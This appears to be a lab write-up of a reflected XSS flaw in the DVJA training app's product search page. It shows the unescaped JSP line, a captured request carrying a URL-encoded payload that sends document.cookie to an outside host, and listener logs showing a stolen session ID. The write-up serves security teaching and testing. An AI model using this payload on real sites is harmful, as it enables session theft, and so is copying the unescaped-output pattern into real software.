

Reflected XSS

Path

src/main/webapp/WEB-INF/dvja/ProductList.jsp

```
21      <s:if test="searchQuery != null">
22          <p class="bg-success">
23              Listing products with <strong>search query: </strong> <%= request.getParameter("searchQuery") %>
24              &nbsp; &nbsp;
25              <small><a href="<s:url action="listProduct"/>">
26                  <i class="fa fa-remove"></i> Clear
27              </a></small>
28          </p>
29      </s:if>
```

Payload

Results

```
(kali@hacking)-[~/testing]
$ python3 -m http.server -b 127.0.0.1 58666
Serving HTTP on 127.0.0.1 port 58666 (http://127.0.0.1:58666/) ...
127.0.0.1 - - [17/Aug/2024 12:52:31] "GET /?cookie=JSESSIONID=1j0j6j9uebzs81nL8dv95t063w HTTP/1.1" 200 -
127.0.0.1 - - [17/Aug/2024 12:52:31] code 404, message File not found
127.0.0.1 - - [17/Aug/2024 12:52:31] "GET /favicon.ico HTTP/1.1" 404 -
127.0.0.1 - - [17/Aug/2024 13:00:59] "GET /?cookie=JSESSIONID=1j0j6j9uebzs81nL8dv95t063w HTTP/1.1" 200 -
```

Evidence

Request

PrettyRawHex

1 POST /listProduct.action HTTP/1.1

2 Host: 127.0.0.1:8080

3 Content-Length: 154

4 Cache-Control: max-age=0

5 sec-ch-ua: "Chromium";v="127", "Not)A;Brand";v="99"

6 sec-ch-ua-mobile: ?0

7 sec-ch-ua-platform: "Windows"

8 Accept-Language: en-US

9 Upgrade-Insecure-Requests: 1

10 Origin: http://127.0.0.1:8080

11 Content-Type: application/x-www-form-urlencoded

12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

13 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36

14 Accept:

15 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

16 Sec-Fetch-Site: same-origin

17 Sec-Fetch-Mode: navigate

18 Sec-Fetch-User: ?1

19 Sec-Fetch-Dest: document

20 Referer: http://127.0.0.1:8080/listProduct.action

21 Accept-Encoding: gzip, deflate, br

22 Cookie: JSESSIONID=1j0j6j9uebzs81nL8dv95t063w

23 Connection: keep-alive

24 searchQuery=

25 %3Cimg+src%3D%22x%22+onerror%3D%22document.location%3D%60https%3A%2F%2Fhaxhaxhax.evdaez.com%2F%3Fcookie%3D%24%7Bdocument.cookie%7D%60%22%2F%3E

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

Response

PrettyRawHexRender

83 <div class='col-md-12'>

84 <h2>

85 <i class='fa fa-list'>

86 </i>

87 Available Products

88

89

90 Search Product

91

92

93 Add Product

94

95

96 </h2>

97 <p class="bg-success">

98 Listing products with

99 search query:

100

101

104

105 <small>

106

107 <i class="fa fa-remove">

108 </i>

109 Clear

110

111 </small>

112 </p>

1

2 Reflection